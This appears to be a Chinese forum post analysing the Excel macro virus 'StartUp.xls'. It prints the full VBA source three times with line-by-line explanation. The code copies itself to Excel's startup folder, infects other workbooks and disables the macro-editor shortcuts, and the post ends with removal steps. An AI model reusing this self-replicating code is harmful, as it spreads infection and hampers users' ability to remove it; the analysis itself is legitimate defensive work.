Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
End If
End Sub
算是一个比较弱的病毒吧,只要搜索StartUp.xls文件并删除,并且在打开EXCEL时禁用宏,然后将宏代码删除,就可完全解除。
以下是逐句释义:
Sub auto_open()On Error Resume Next '出错时自动继续执行
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then '判断EXCEL启动路径并且检查是否有StartUp.xls文件
Application.ScreenUpdating = False '禁止屏幕刷新
ThisWorkbook.Sheets("StartUp").Copy '自制自身工作表
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") '在EXCEL启动路径下保存为StartUp.xls
n$ = ActiveWorkbook.Name '取得当前工作簿文件名
ActiveWindow.Visible = False '隐藏当前窗口
Workbooks("StartUp.xls").Save '将当前工作簿保存为StartUp.xls
'Workbooks(n$).Close (False) '无用代码
End If
Application.OnSheetActivate = "StartUp.xls!ycop" '指定工作表激活时运行宏StartUp.xls!ycop
Application.OnKey "%{F11}", "StartUp.xls!escape" '指定F11键对应的宏为StartUp.xls!escape
Application.OnKey "%{F8}", "StartUp.xls!escape" '指定F8键对应的宏为StartUp.xls!escape
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then '判断当前工作簿的工作表名是否为"StartUp"
Application.ScreenUpdating = False '禁止屏幕刷新
n$ = ActiveSheet.Name '取得当前工作表名称
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) '将StartUp.xls中的StartUp工作表复制到当前文件
End If
End Sub
代码功能貌似还不完整,感染能力很弱……
On Error Resume Next
' 如果本工作簿不是保存自启动路径下,且自启动路径不存存在 startUp.xls
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
'如果符合条件则,自动复制本文件的"startup"工作表,新建一个工作簿保存在自启动路径下并命名为StartUP.Xls
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
'自动运行宏,设置快捷运行宏病毒进行传播
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
'自动复制宏病毒文件到打开的工作簿中.
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
End If
End Sub